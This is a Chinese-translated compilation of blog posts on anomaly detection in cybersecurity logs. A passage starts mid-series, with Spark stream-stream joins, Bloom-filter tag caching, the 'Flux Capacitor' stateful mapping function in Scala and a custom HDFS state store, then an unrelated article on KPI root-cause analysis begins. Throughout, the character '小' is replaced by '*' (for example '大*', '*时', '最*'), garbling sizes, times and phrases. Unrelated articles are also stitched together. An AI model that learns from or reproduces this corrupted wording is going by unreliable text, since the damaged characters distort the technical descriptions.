感兴趣的父项是将过滤条件应用于连接的右侧得到的结果。这可以大大减少需要记住的父项数量。连接完成后,我们对当前处理和父项处理应用条件。
与感兴趣的父项特征连接
更好的解决方案是存储我们在右侧评估的条件,并丢弃所有其他属性——CommandLine、Image 等。这样我们只保留有限数量的布尔标志,而不是可能很长的字符串。在下图中,Features
是 Sigma 过滤器表达式名称的映射,值是测试结果。例如:
features = {
'rule3_selection_atexec' -> false,
'rule2_selection' -> true
}
在我们的研究中,我们很快意识到减少 Spark 需要存储的状态量至关重要。因此,我们选择只保留感兴趣的父项。这些是我们正在寻找的特征的父项。我们丢弃所有其他父项,只保留这些父项的最*信息集:连接键、时间戳和特征标志。
模拟测试框架
为了评估 Spark 流-流连接的性能,我们创建了一个 cause
和 effect
事件的模拟流。在我们的实验中,我们通过设置水印为零来禁用迟到支持。
cause = (
spark.readStream
.format("rate")
.option("rowsPerSecond", rate)
.load()
.withWatermark("timestamp", "0 seconds")
.withColumn("name", F.lit(name))
)
这些cause
和effect
流事件是通过 Spark 流-流连接操作进行合并的:
cause = cause.select('cause_timestamp', 'cause_key', 'cause_load')
effect = effect.select(
'effect_timestamp',
'effect_key',
'effect_load',
'host_id',
'id',
'name',
'value')
joindf = (
effect.join(
cause,
F.expr(f"""
effect_key = cause_key
and effect_timestamp >= cause_timestamp
and effect_timestamp < (cause_timestamp + interval {window} seconds)
"""),
"left"
)
joindf
.writeStream
.format("iceberg")
.outputMode("append")
.trigger(processingTime="1 minutes")
.queryName(name)
.option("checkpointLocation", checkpoint)
.toTable(output_table_name)
注意连接表达式 effect_key = cause_key
和窗口子句,表示效果时间必须在 cause
之后,但不能比 window
秒更久。
Linxiao Ma 在他的文章 Spark Structured Streaming Deep Dive (7) — Stream-Stream Join 中详细解释了,在这些条件下,原因事件会被缓存到 Spark 的有状态存储中,最多 window
秒。然而,effect
事件不需要被存储。对于每个在流-流连接中经过的 effect
事件,都会进行查找以找到相应的 cause
。对于每个进入连接的 effect
,都会写入一行 cause+effect
。
选择合适的状态存储
Spark 有两个状态存储实现。最初的是名为 HDFSBackedStateStore 的,它是一个由 HDFS 文件支持的简单内存哈希表。最新的状态存储基于 RocksDB。RocksDB 是一个可嵌入的键值持久存储用 C++编写。RocksDB 的状态部分保存在内存中,部分保存在本地磁盘上。在每个检查点,Spark 将更改的文件副本保存到中央位置(数据湖)。
当你需要存储大量键时,Spark 推荐使用RocksDB。根据DataBricks,一个大型 Spark 工作节点可以缓存多达 1 亿个键。
由于我们的流流连接会缓存大量的感兴趣的父项行,我们决定在评估中使用 RocksDB 状态存储。
.config("spark.sql.streaming.stateStore.providerClass",
"org.apache.spark.sql.execution.streaming.state.RocksDBStateStoreProvider")
我们所有的实验都在一个具有 48G RAM 和 16 CPU 的单个 Spark 工作节点上进行。我们模拟了来自 50,000 个主机的日志。
我们的测试框架非常灵活。它允许我们更改许多参数,例如每秒事件数、每个事件的大*、连接的时间窗口、键大*、时间窗口中事件的分布等。
Spark 分区的影响
在我们的第一个实验中,我们在 10,000 秒(约 2.77 *时)的窗口中连接效果和原因。我们模拟了每个感兴趣的父项会有 12 个布尔标志。我们设置了每秒 10,000 个事件的速率。在这里,我们展示了 Spark 分区(单个任务)数量变化的影响。
更改分区数量对性能没有影响。执行一个微批次的时间大约是 225 秒。记住我们每 60 秒触发一次.trigger(processingTime="1 minutes")
。Spark 将立即开始下一个微批次。因此,事件处理的延迟最多为 225 秒。
窗口大*的影响
在第二个实验中,我们调整了流流连接窗口的大*(时间)。在每秒 5,000 个事件的速率下,作业不稳定。每个微批次的执行时间越来越长。我们正在落后。
如果我们将窗口减少到 18 *时,并将速率降低到每秒 2,500 个事件,作业会稳定下来,并在每个微批次约 300 秒时达到稳定。
然而,实际上,我们不会保留每一个父事件。我们只会保留“感兴趣的父事件”。这些事件中有一个或多个为真的 Sigma 规则表达式。重要的是要衡量 Spark 存储父事件的能力。我们可以轻松计算:2,500 事件/秒 x 64,000 秒。Spark 可以缓存 1.6 亿个“感兴趣的父事件”。我们的实验结果确认了 Databricks 关于 RocksDB StateStore 的声明,即每台机器可以处理 1 亿个键。如果我们假设这些事件来自 50,000 个主机,那么 Spark 可以每台主机保存 3,200 个“感兴趣的父事件”。
有趣的是,Spark 存储了特征标志和键。它需要存储 causes
的键,以便将其与 effect
键连接。
我们可以做的另一个有趣的观察是,通过键查找我们检索到什么?我们检索到一个包含布尔标志的事件(即一行)。实际上,这些标志通常是互斥的。也就是说,在某一行中,只有一个标志可能为真,而所有其他标志都为假。Spark 存储 cause
键和所有相关的标志,无论它们是真还是假。
Bloom 过滤器连接
是否有更好的方法来跟踪特征标志?是的,答案是 Bloom 过滤器。
Bloom 过滤器是一种概率数据结构,可以存储一个键并测试键的存在性。Bloom 过滤器对键进行哈希,并利用哈希结果在位数组中设置一些位。
Bloom 过滤器非常紧凑。为了节省空间,你可能会付出假阳性的代价。然而,一旦检测完成,触发的 Sigma 规则可以重新评估以确认正确性。
我们可以使用 Bloom 过滤器来执行上述连接。假设我们使用一个复合键(parent_key + feature_id
),其中 feature_id
是给定 Sigma 过滤器表达式的名称。应用于父进程的过滤器表达式存储在 Bloom 过滤器中,但仅在它们为真的情况下。测试复合键的存在性,如果键在 Bloom 中,则返回真;如果不在,则返回假。
Bloom 可以存储一定数量的键。超出这个数量后,假阳性会急剧增加。通过只存储真实的特征,我们可以延长 Bloom 过滤器的有效性。
因此,连接被建模为在 Bloom 过滤器中的查找。
在我们的下一篇文章中,我们将构建一个自定义的 Spark 有状态连接函数,利用 Bloom 过滤器。
除非另有说明,否则所有图像均由作者提供
使用 Sigma 规则进行异常检测(第三部分)基于布隆过滤器的时间相关性
一个基于布隆过滤器的定制状态映射函数能否超越通用的 Spark 流-流连接?
·
关注 发表在 Towards Data Science ·6 分钟阅读·2023 年 2 月 14 日
--
由 Kalpaj 拍摄于 Unsplash,Peggys Cove,加拿大新斯科舍省
这是我们系列文章的第 3 篇。请参考第一部分和第二部分以获得一些背景信息。
Spark 的 flatMapGroupsWithState 函数允许用户在分组数据上应用自定义代码,并提供支持来持久化用户定义的状态。
在本文中,我们将实现一个有状态的函数,该函数检索父进程的标签(特征)。解决方案的关键是创建一个由进程 ID(下图中的 e_key
)和我们想要记住的标签(特征)名称组成的复合键。例如,在第 1 行中,我们创建一个布隆键 300.pr1_filter_msiexec_syswow64
。我们将此键存储在布隆过滤器中。请注意,由于布隆过滤器的特性,键实际上并不存储在布隆中。相反,键被哈希,并且该哈希用于在布隆的位数组中打开一些位。因此,如果标签为 false,我们不将其存储在布隆中。只有标记为 true 的才会存储。
在第二行中,我们展示了如何使用父进程的进程 ID (pe_key
而非 e_key
) 创建一个检索布隆键。因此,查找键为 300.pr1_filter_msiexec_syswow64
。如果查询布隆键返回 false,我们可以确定它从未存储在布隆中。然而,如果查询返回 true,我们知道该键确实存储在布隆中(但存在假阳性的可能性)。
我们使用布隆返回的结果来更新当前行的 pr1_filter_msiexec_syswow64
。这有效地执行了我们上一篇文章中的连接操作。使用当前行的标签和检索到的当前行父进程的标志,我们最终可以评估完整的 Sigma 规则条件。
测试工具
为了评估这种方法的性能,我们在 Scala 中构建了一个初步的 flatMapGroupsWithState 原型,并使用了 Guava 布隆过滤器库。
为了估算布隆过滤器的大*,我们使用了这个 实用的在线计算器。容量越大(可以存储的标签数量),布隆过滤器的大*就越大。例如,容量为 200,000 的布隆过滤器的大*约为 234KiB,假阳性率为 1%。
我们为每个主机使用一个布隆过滤器。继续模拟 50,000 个主机,这大约给我们提供了 12GiB 的状态。
我们最初使用 RocksDB 状态存储进行所有实验,因为在进行流流连接时表现非常好。然而,正如经常发生的那样,我们进行了一个意外的发现。旧版 HDFS 状态存储在这种用例中实际上比 RocksDB 表现更好。以下是结果的简要总结:
使用 RocksDB 的执行时间不断增加,而 HDFS 在每个微批次约 200 秒时保持稳定。
RocksDB 性能不佳的原因是它重新组织本地状态文件。在每次触发时,我们加载和修改每个 bloom,每个 bloom 的大*为 200KiB。然后,RocksDB 需要对其 SST 文件进行压缩和重组。RocksDB 似乎更适合处理大量较*的值。而 HDFS 则更适合处理较大的值,但在处理非常大量的数据时表现不佳。
与流-流连接的结果比较
现在让我们将这些结果与流-流连接的结果进行比较。在流-流连接中,我们使用了每秒 2,500 个事件的速率,而使用 bloom 时的速率为 5,000。
此外,在流-流连接中,我们可以保持平均 3,200 个“兴趣的父标签”。即与 3,200 个事件相关联的标签。如果我们假设每个事件只有一个真实标签,这将产生每个主机 3,200 个标签。
使用 bloom,我们可以每台主机保持约 100,000 个标签。这大约是原来的 30 倍!
使用自定义的 flatMapGroupsWithState,我们仅读取一次输入流(例如来自 Kafka 或 Iceberg 表)。而使用连接时,我们必须读取两次流,一次用于连接的每一侧。
自定义的 flatMapGroupsWithState 更加灵活
此外,bloom 方法适用于更有趣的用例。例如,假设你不仅想记住你父级的标签,还想记住你父级的父级的标签。这使用流-流连接可能会相当困难。你要连接多少次?
通过简单的调整,我们可以支持传播祖先标签。在上面的示例中,在第 2 行,我们提取了 bloom 键 300.pr1_filter_msiexec_syswow64
和列中的值 pr1_filter_msiexec_syswow64
。为了支持祖先标签,我们将该标签重新放入 bloom 中,但使用第 2 行的 e_key
值。因此,我们存储了 bloom 键 600.pr1_filter_msiexec_syswow64
。
现在,假设我们得到一个子进程 900(进程 300 的孙子)。如前所述,我们使用我们的父键 pe_key
(600)进行提取,形成 bloom 键 600.pr1_filter_msiexec_syswow64
,从而有效地提取我们祖父的标签。
超越父子关系
到目前为止,我们集中于父子关系。然而,通过存储和检索标签,我们还可以支持 时间邻近关联。时间邻近关联是即将发布的 Sigma 规范中的一项新功能。规范中给出的示例如下:
action: correlation
type: temporal
rules:
- recon_cmd_a
- recon_cmd_b
- recon_cmd_c
group-by:
- ComputerName
- User
timespan: 5m
ordered: false
该规则规定,3 个事件(recon_cmd_a/b/c)必须发生在一个时间窗口内。这些事件不必按任何特定顺序出现。
正如我们之前所做的,我们可以将这些事件表示为标签,并对每个主机(每个 ComputerName)使用一个布隆过滤器。我们使用列User
,而不是使用列e_key
/pe_key
(父/子)。列User
为我们存储和从布隆过滤器中检索的复合键提供了上下文。
在第一行,我们看到recon_cmd_b
为真,因此我们使用User
作为上下文将其存储在布隆过滤器中,从而将其存储在Alice.recon_cmd_b
下。
在第二行,我们看到recon_cmd_a
为真,因此我们将其存储在Alice.recon_cmd_a
下。在每一行中,我们总是尝试提取键:Alice.recon_cmd_a
、Alice.recon_cmd_b
和Alice.recond_cmd_c
。因此,recom_cmd_b
被更新为真。
对于第三行,我们推送Alice.recond_cmd_c
并提取其他两个。
Sigma 规范支持这种关联的ordered
版本。支持有序时间接近性也是可能的。为了支持有序事件,我们有条件地提取标签,而不是始终提取。
如果我们假设上述规则是有序的,我们将把程序从始终存储和提取所有键改为有条件地存储recon_cmd_b
,仅当recon_cmd_a
已经被看到时,并且永远不存储recon_cmd_c
。
在我们的下一篇文章中,我们将改进我们的概念验证。我们将使其更加灵活,并能够支持上述描述的附加用例。
除非另有说明,否则所有图片均由作者提供
使用 Sigma 规则进行异常检测(第四部分):Flux 电容器设计
我们实现了一个 Spark 结构化流式状态映射函数,以处理网络安全日志中的时间相关性。
·
关注 发布于 数据科学前沿 · 6 分钟阅读 · 2023 年 3 月 2 日
--
图片来自 Pixabay 的 Robert Wilson
这是我们系列文章的第 4 篇。有关更多背景信息,请参考 第一部分 、第二部分 和 第三部分。
在本文中,我们将详细介绍自定义 Spark flatMapWithGroupState 函数的设计。我们选择用 Scala 编写这个函数,因为 Spark 本身是用 Scala 编写的。我们将这个函数命名为 Flux Capacitor。电容器积累电荷并随后释放它们。类似地,我们的 flatMapWithGroupState 将积累标签(评估为真/假的 Sigma 表达式),然后释放它们。
我们的 Flux Capacitor 函数易于配置,允许用户指定每个标签的存储和检索方式。在我们的实现中,我们将标签的更新和检索行为封装在一个标签评估器类层次结构中。
标签评估器
除非另有说明,所有标签将由过渡评估器进行评估。这个评估器是一个无操作的评估器,它仅仅将当前标签值传递出去。可缓存评估器是一个能够在布隆过滤器中存储和检索标签的基类。这个基类有两个模板方法,makeBloomPutKey
和 makeBloomGetKey
,让子类决定标签的存储和检索方式。默认标签使用相同的键在布隆过滤器中存取值。这个键只是规则和标签名称的拼接。当用户将以下规范传递给 Flux Capacitor 时,将创建默认标签评估器对象来处理标签的存储和检索。
rules:
- rulename: rule5
description: un-ordered set of events by host
action: temporal
ordered: false
tags:
- name: recon_cmd_a
- name: recon_cmd_b
- name: recon_cmd_c
我们设计的 Flux Capacitor 规范类似于 Sigma 规则。然而,这个规范仅描述了 Flux Capacitor 中标签的处理方式。
有序评估器通过引入“依赖标签”来专业化默认评估器。依赖标签必须首先被评估,只有当依赖标签为真时,有序标签才会被评估。当用户指定 ordered: true
时,将使用此评估器。
层级结构的另一侧处理父子关系。与默认标签相反,父评估器的 put 键由 规则名称 + 标签名称 + 父 ID
组成,而 get 键由 规则名称 + 标签名称 + 当前 ID
组成。父子关系的规范允许用户指定哪个列名包含父 ID,哪个列名包含当前消息 ID。在这个例子中,parent_id
和 id
是表示父子关系的列。
rules:
- rulename: rule4
description: propagate to child only
action: parent
parent: parent_id
child: id
tags:
- name: parent_process_feature1
正如我们在上一篇文章中所解释的,祖先评估器通过将自身存储在布隆过滤器中,从而沿父子层级传播自身,专业化了父评估器。
规则评估器
到目前为止,我们只应用了一个 Sigma 规则。我们这样做是为了保持简单。然而,实际上我们希望同时应用多个 Sigma 规则。当我们处理日志源并解析其内容时,我们希望应用所有适用的 Sigma 规则。
为了保持组织性,我们在MapType类型的列中表示每个规则及其相关的标签。这个映射中的键是规则名称,值是标签名称到标签值(true/false)的映射。
select
-- regroup each rule's tags in a map (ruleName -> Tags)
map(
'rule1', map('cr1_selection', cr1_selection,
'cr1_filter_empty', cr1_filter_empty,
'cr1_filter', cr1_filter,
'cr1_filter_localserver_fp', cr1_filter_localserver_fp,
'pr1_filter_iexplorer', pr1_filter_iexplorer,
'pr1_filter_msiexec_syswow64', pr1_filter_msiexec_syswow64,
'pr1_filter_msiexec_system32', pr1_filter_msiexec_system32),
'rule2', map('cr2_filter_provider', cr2_filter_provider,
'cr2_filter_git', cr2_filter_git,
'pr2_selection', pr2_selection,
'pr2_filter_git', pr2_filter_git),
'rule3', map('cr3_selection_other', cr3_selection_other,
'cr3_selection_atexec', cr3_selection_atexec,
'pr3_selection_other', pr3_selection_other,
'pr3_selection_atexec', pr3_selection_atexec)
) as sigma
通过使用映射,我们可以保持输入和输出行的模式不变。任何稍后引入的新 Sigma 规则将简单地添加到这个映射中,而不会影响整体输入和输出行模式。
我们的 Flux Capacitor 规范反映了这一点。规范适用于一系列规则名称。每个规则规范都说明了如何更新该规则的标签。
rules:
- rulename: rule1
description: ordered list of events by host
action: temporal
ordered: true
tags:
- name: recon_cmd_a
- name: recon_cmd_b
- name: recon_cmd_c
- rulename: rule3
description: propagate to all decendents
action: ancestor
tags:
- name: ancestor_process_feature1
parent: parent_id
child: id
在我们的实现中,每个规则规范由一个Rule
类处理。Rules
类依次评估每个Rule
。
映射函数
Spark Dataframe flatMapGroupsWithState
在每个组上调用用户提供的函数,同时在调用之间*护用户定义的每组状态。该函数的签名接受一个键、一个输入行迭代器(每组)和一个状态,并返回一个输出行迭代器。我们的 Flux Capacitor 函数如下:
case class FluxCapacitorMapFunction(
val tagCapacity: Int,
val specification: String
) {
def processBatch(
key: String,
rows: Iterator[Row],
state: GroupState[FluxState]
): Iterator[Row] = {
val bloom =
if (state.exists()) {
state.get()
} else {
BloomFilter.create(Funnels.stringFunnel(), tagCapacity, 0.01)
}
val rulesConf = RulesConf.load(specification)
val rules = new RulesAdapter(new Rules(rulesConf, bloom))
val outputRows = rows.map(row => rules.evaluateRow(row))
state.update(bloom)
outputRows.iterator
}
第一次调用函数时,我们将没有状态。在这种情况下,我们创建一个假阳性概率为 1%的 Guava 布隆过滤器。
然后我们从 YAML 字符串加载规范。稍后我们将看到用户如何将这个规范传递给函数。规范被解析并提供给Rules
类。Rules
类创建相应的标签评估器。
接下来,我们将evaluateRow
应用于这一组输入行,生成一个输出行的列表。
调用evaluateRow
会修改布隆过滤器(一些标签将被存储在布隆中)。因此,我们使用state.update(bloom)
来持久化布隆。
最后,我们返回一个输出行的迭代器。
应用 Flux Capacitor
从用户的角度来看,使用 Flux Capacitor 进行异常检测是非常简单的。
假设用户已经创建了一个 dataframe taggedEventsDF
。在后续的文章中,我们将展示如何利用 sigma 编译器创建这个 dataframe。
val taggedEventsDF = ...
val specification = """
rules:
- rulename: rule1
description: ordered list of events by host
action: temporal
ordered: true
tags:
- name: recon_cmd_a
- name: recon_cmd_b
- name: recon_cmd_c
- rulename: rule3
description: propagate to all decendents
action: ancestor
tags:
- name: ancestor_process_feature1
parent: parent_id
child: id
"""
val tagCapacity = 200000
val flux = new FluxCapacitorMapFunction(tagCapacity, specification)
一旦创建了 FluxCapacitorMapFunction,它需要传递给 Spark 的flatMapGroupsWithState
。用户还需要指定哪个列包含主机 ID。
// create encoders to serialize/deserialize the output rows and the bloom
val outputEncoder = RowEncoder(taggedEventsDF.schema).resolveAndBind()
val stateEncoder = Encoders.javaSerialization(BloomFilter.class)
// we associate a bloom with each host
var groupKeyIndex = df.schema.fieldIndex("host_id")
taggedEventsDF
.groupByKey(row => row.getString(groupKeyIndex))
.flatMapGroupsWithState(
Append,
GroupStateTimeout.NoTimeout()
)(flux.processBatch)(stateEncoder, outputEncoder)
我们为每个主机关联一个布隆过滤器,因此我们的分组键groupByKey
是host_id
列。
Spark 需要知道如何序列化和反序列化状态。我们为输出行和布隆过滤器(状态)创建 Spark 编码器。
我们指定了一种附加模式,而不是更新或完成。在附加模式下,我们输出的每一行都被添加到结果表中,这在异常检测中是所期望的。
最后,我们将我们的flux.processBatch
传递给flatMapGroupsWithState
函数。
结论
在本文中,我们展示了如何实现一个可配置且可重用的有状态映射函数,能够处理多种用例:时间邻近相关性(有序和无序)以及父子关系(包括祖先)。
目前,我们的状态永远不会超时,我们始终使用相同的布隆过滤器,因此布隆过滤器最终会被填满。在我们的下一篇文章中,我们将用一个会忘记的布隆过滤器来解决这个问题,并优化 Flux Capacitor 的性能。
除非另有说明,所有图片均由作者提供
使用 Sigma 规则进行异常检测(第五部分):Flux Capacitor 优化
为了提升性能,我们实现了一种遗忘布隆过滤器和一个定制的 Spark 状态存储提供者
·
关注 发表于 Towards Data Science ·8 min read·Mar 17, 2023
--
照片来自 Shippagan, NB, Canada 的 Leora Winter,Unsplash
这是我们系列文章的第 5 篇。请参阅第一部分,第二部分,第三部分和第四部分获取一些背景信息。
在我们之前的文章中,我们展示了使用布隆过滤器所获得的性能提升。我们还展示了如何利用布隆过滤器实现时间接近相关性、父子和祖先关系。
到目前为止,我们一直在每个主机上使用一个布隆过滤器。最终,布隆过滤器将被标签填满,并会产生大量假阳性。使用这个在线布隆过滤器计算器,我们可以看到获得假阳性的概率。注意到假阳性率在超过 200,000 个标签后迅速增加。(这个图表的 n=200,000 和 p=1%)
图片由作者提供
健忘布隆过滤器
我们需要一种方法来处理非常旧的标签。我们需要一个健忘的布隆过滤器。正如 Redis Labs 在这篇优秀论文中解释的Age-Partitioned Bloom Filter,有许多方法可以实现健忘的布隆过滤器。我们将使用最基本的方法:
基于分段的方法使用几个不相交的分段,这些分段可以单独添加和退役。最简单且多次提到的方法是使用一系列普通的布隆过滤器,每代一个,当使用中的布隆过滤器满了时,添加一个新的并退役最旧的一个。
我们选择使用 10 代。因此,每台主机使用 10 个布隆过滤器。每个布隆过滤器最多可以容纳 20,000 个标签。
我们使用“活动”布隆过滤器来插入新标签。当“活动”布隆过滤器满了时,我们创建一个新的。当我们达到 10 个布隆过滤器时,我们丢弃最旧的布隆过滤器。
我们通过测试“活动”布隆过滤器来查询标签。如果没有找到标签,我们测试下一个(更旧的)布隆过滤器,直到到达末尾。
请注意,对于每个我们想要测试的标签,我们可能会在 10 个不同的布隆过滤器中执行 10 次测试。每次测试都有一定的概率报告假阳性。因此,通过使用 10 个布隆过滤器,我们将机会提高了 10 倍。为了降低假阳性的几率,我们使用了假阳性率为 1/1000 的布隆过滤器,而不是 1/100 的。实际上,我们将展示我们甚至可以使用 1/10000 的假阳性率。
为了适应多个布隆过滤器,我们不再在状态存储中保存布隆对象:
val stateEncoder = Encoders.javaSerialization(BloomFilter.class)
相反,我们将持久化一个 FluxState 对象,其中包含一个布隆过滤器列表:
val stateEncoder = Encoders.product[FluxState]
FluxState 包含以下字段:
case class FluxState(
var version: Long = 0,
var active: Int = 0,
var serializedBlooms: List[Array[Byte]] = List()
) extends TagCache {
出于性能原因,我们自己序列化 bloom 过滤器。由于我们知道这些对象的大*,我们可以通过预分配序列化缓冲区来优化序列化。serializedBlooms
字段保存序列化的 blooms。active 字段跟踪此列表中活动 bloom 的索引。我们稍后会解释版本号的使用。这就是我们序列化 blooms 的方式:
val padding = 4000
val n = tagCapacity / NUM_BLOOMS
// Formula taken from https://hur.st/bloomfilter
// m = ceil( (n * log(p)) / log(1 / pow(2, log(2))))
val mBits = Math.ceil(
(n * Math.log(desiredFpp)) / Math.log(1 / Math.pow(2, Math.log(2))))
val numBytes = (mBits / 8).toInt + padding
val byteArrayOut = new ByteArrayOutputStream(numBytes)
val store = new ObjectOutputStream(byteArrayOut)
store.writeObject(bloom)
store.close
byteArrayOut.toByteArray()
高效的检查点
我们将大型 bloom 分割成 10 个较*的 bloom。由于 bloom 过滤器的特性,10 个 20,000 标签的 bloom 所占用的空间大致与一个 200,000 标签的大 bloom 相同,大约为 200KiB。
Spark HDFS 状态存储提供者将所有 FluxState 对象保存在内存中。如果我们假设有一个 50,000 主机的集群,这将导致大约 10GiB 的 RAM 实际上,HDFS 状态存储的内存使用量被测量为 25GiB。
图片来源:作者
它的使用量更高的原因是 HDFS 状态存储默认会保留状态的 2 份副本。我们可以通过 spark.sql.streaming.maxBatchesToRetainInMemory
将其更改为只存储一份副本。这将内存使用量降低到大约 12GiB 的 RAM,这与我们的估计相符。
作为检查点的一部分,Spark 会将所有状态写入数据湖,并在每个微批处理完成后执行此操作。Spark 花费大量时间来持久化 12 GiB 的状态,并且反复进行此操作。
然而,在每个微批处理中,我们只修改 10 个 blooms 中的 1 个(活动 bloom)。其他 9 个 blooms 可能会被查询但保持不变。默认的 HDFS 状态存储提供者并不知晓哪个 bloom 被更改,它只是持久化 FluxState 对象。如果状态存储提供者知道哪个 bloom 是活动 bloom,它可以更高效,只检查点修改过的活动 bloom。这可能会将序列化减少到 12GiB 的 1/10。
自定义状态存储提供者
HDFSBackedStateStoreProvider.scala 类处理 put 和 get 状态请求。它将这些键/值对保存在内存映射中,并将这些键/值持久化到数据湖中。
通过对 put 和 get 方法进行一些轻微的修改,我们可以专门化 HDFSBackedStateStoreProvider 类的行为,使其能够意识到我们遗忘 bloom 过滤器策略。
基本的想法是将每个 bloom 段存储在一个单独的键下。我们不将整个状态存储在键“windows_host_abc”下,而是将每个段存储在“windows_host_abc_segment1”、“windows_host_abc_segment2”、“windows_host_abc_segment3”等下。
put函数接收要存储的键和值。键将是主机 ID,值将是一个 FluxState 对象。Spark 在调用此方法之前,将键和值都编码为 UnsafeRow:
override def put(key: UnsafeRow, value: UnsafeRow): Unit = {
require(value != null, "Cannot put a null value")
verify(state == UPDATING, "Cannot put after already committed or aborted")
//val keyCopy = key.copy()
val valueCopy = value.copy()
// Create the key to store this bloom using the bloom id (active)
val newRowKey = makeRowKey(key.getString(0), getActiveValue(valueCopy))
// Store key/value as normal
mapToUpdate.put(newRowKey, valueCopy)
writeUpdateToDeltaFile(compressedStream, newRowKey, valueCopy)
}
我们的put函数与原始的完全相同。唯一的变化是键。我们将“活跃的”布隆过滤器索引附加到原始键上。
需要注意的是,我们还修改了我们的 FluxState 类,只序列化“活跃的”布隆过滤器,而不是所有 10 个布隆过滤器。
def toState(): FluxState = {
version += 1
// we only store the active blooms, all other blooms were un-changed
val approxsize = tagCapacity / NUM_BLOOMS * 3
val byteArrayOut = new ByteArrayOutputStream(approxsize)
val store = new ObjectOutputStream(byteArrayOut)
store.writeObject(getActiveBloom())
store.close
serializedBlooms = List(byteArrayOut.toByteArray())
}
原始的get方法是这样的:
override def get(key: UnsafeRow): UnsafeRow = {
mapToUpdate.get(key)
}
我们修改了get方法以收集主机 ID 的 10 个布隆过滤器段。首先,我们通过迭代 10 个布隆索引来构建一个 FluxState 列表。然后,我们创建一个新的 FluxState 来保存所有的布隆过滤器。我们通过版本号来确定哪个是活跃的布隆过滤器。
override def get(key: UnsafeRow): UnsafeRow = {
// CCCS: The list of blooms for this key are put
// in separate entries in the store
// we will find all of these entries and create a FluxState
val groupKey = key.getString(0)
val fluxStates = Range(0, NUM_BLOOMS)
.map(bloomIndex => mapToUpdate.get(makeRowKey(groupKey, bloomIndex)))
.filter(_ != null)
.map(value => deserializeFluxState(value))
if(fluxStates.length > 0) {
makeRowValue(coalesceFluxStates(fluxStates))
}
else {
// else we found none of the blooms
null
}
}
调整假阳性概率
现在我们将布隆过滤器分成了 10 部分,我们可以查询 10 个布隆过滤器,因此可能会有更多的假阳性。为了解决这个问题,我们将假阳性概率降低到 1/10000,从而使总体假阳性概率为 1/1000。这比我们之前的实验少了十倍的假阳性机会。然而,由于我们只序列化“活跃的”布隆过滤器,总体性能要好得多。
结果
以前,当我们序列化所有段时,我们可以在每秒 5,000 个事件的速度下实现每主机 100,000 个标签的容量。
采用分段的方法,其中我们只序列化活跃的布隆过滤器,我们可以在每秒 5,000 个事件的速度下实现每主机 300,000 个标签的容量。或者,我们可以减*布隆过滤器的大*以容纳更多的事件:200,000 个标签 @ 8,000 个事件每秒。
作者提供的图片
在所有以前的实验中,我们一直在用随机标签对新创建的布隆过滤器进行“填充”。我们这样做是为了防止 HDFSBackStore 在将其状态保存到数据湖时压缩布隆过滤器。一个空的布隆过滤器几乎会压缩到零,而一个容量满的布隆过滤器(具有最大熵)几乎是不可压缩的。当我们首次启动实验时,由于压缩效果惊人,性能表现非常好。要看到标签在布隆过滤器中的效果需要很长时间。为了解决这个问题,我们将所有布隆过滤器填充到 95%的容量。换句话说,我们一直在测量最坏情况。
然而,在实际操作中,布隆过滤器会慢慢填满。一些布隆过滤器的填充速度比其他的快。从统计上讲,我们不可能在同一时间点上所有 50,000 个布隆过滤器都达到 95%的容量。使用随机填充可以进行更现实的模拟。
def createBloom() = {
val bloomCapacity: Int = tagCapacity / NUM_BLOOMS
val bloom = BloomFilter.create(
Funnels.stringFunnel(),
bloomCapacity,
desiredFpp)
val prep = (bloomCapacity * Math.random()).toInt
(1 to prep).map("padding" + _).foreach(s => bloom.put(s))
bloom
}
由于可压缩的布隆过滤器,我们可以以每秒 10,000 个事件的速度运行该模拟,并且每个主机的总体容量为 400,000 个标签,总计 20 亿个标签在单个 Spark 工作节点上。这远远超过了我们在流流连接中能够实现的 1 亿个标签。
从 bloom 中存储和检索标签非常迅速。平均而言,一台机器可以每秒进行约 200,000 次测试。将标签存储在 bloom 中成本稍高,但一台机器仍能每秒存储 20,000 个标签。这意味着我们可以同时支持大量 Sigma 规则。
这里是我们实验中使用的不同策略的总结。
作者提供的图像
结论
结果清晰地显示了与自定义状态存储结合使用的bloom 策略的性能改进,该存储仅保存“活跃”的 bloom 段。bloom 策略还比流-流连接方法更通用,因为它可以处理如“祖先”和时间接近性(有序和无序)等用例。概念验证可以在这里找到github.com/cccs-jc/flux-capacitor
。如果你对这个 flux-capacitor 功能有新的用例,我们很乐意听到。
异常根本原因分析 101
如何找到每个指标异常的解释
·
关注 发表在 Towards Data Science ·14 min 阅读·2023 年 6 月 28 日
--
照片由 Markus Winkler 提供,发布于 Unsplash
我们使用指标和关键绩效指标(KPIs)来监控产品的健康状况:确保一切稳定或产品按预期增长。但有时,指标会突然变化。转化率可能在一天内上升 10%,或收入可能在几个季度内略微下降。在这种情况下,企业不仅需要了解发生了什么,还需要理解原因以及应采取的措施。这时分析师就发挥了重要作用。
我第一次从事的数据分析角色是 KPI 分析师。异常检测和根本原因分析是我近三年来的主要关注点。我发现了数十个 KPI 变化的关键驱动因素,并制定了一种处理这些任务的方法。
在这篇文章中,我想与大家分享我的经验。这样,下次你遇到意外的指标行为时,你将有一个可以遵循的指南。
应该关注什么?
在进行分析之前,让我们定义我们的主要目标:我们希望实现什么。那么,我们的异常根本原因分析的目的是什么?
最直接的答案是理解指标变化的关键驱动因素。不言而喻,从分析师的角度来看,这是一个正确的答案。
但我们从商业角度来看。花费资源进行此研究的主要原因是为了最*化对客户的潜在负面影响。例如,如果由于昨天发布的新版本应用中的一个漏洞导致转化率下降,那么今天找出这个问题会比一个月后当数百名客户已经流失时要好。
我们的主要目标是最*化对客户的潜在负面影响。
作为分析师,我喜欢为我的工作任务设置优化指标。最*化潜在不利影响听起来像是一种合适的心态,帮助我们专注于正确的事情。
因此,牢记主要目标,我会尝试找出以下问题的答案:
-
这是一个真正影响客户行为的问题,还是仅仅是一个数据问题?
-
如果我们的客户行为确实发生了变化,我们能做些什么?不同选项的潜在效果是什么?
-
如果这是一个数据问题,我们能否使用其他工具监控相同的过程?我们如何修复损坏的过程?
步骤 1:自己动手做
根据我的经验,最好的第一步是重现受影响的客户旅程。例如,假设 iOS 上的电商应用订单数量减少了 10%。在这种情况下,值得尝试购买一些东西,并仔细检查是否存在产品问题:按钮不可见、横幅无法关闭等。
另外,记得查看日志以确保信息正确捕捉。客户体验可能一切正常,但我们可能会丢失关于购买的数据。
我相信这是开始异常调查的一个重要步骤。首先,经过 DIY,你将更好地理解受影响的客户旅程部分:步骤是什么,数据如何记录。其次,你可能会找到根本原因,从而节省几个*时的分析时间。
提示: 如果异常幅度较大,更可能重现问题,这意味着问题影响了许多客户。
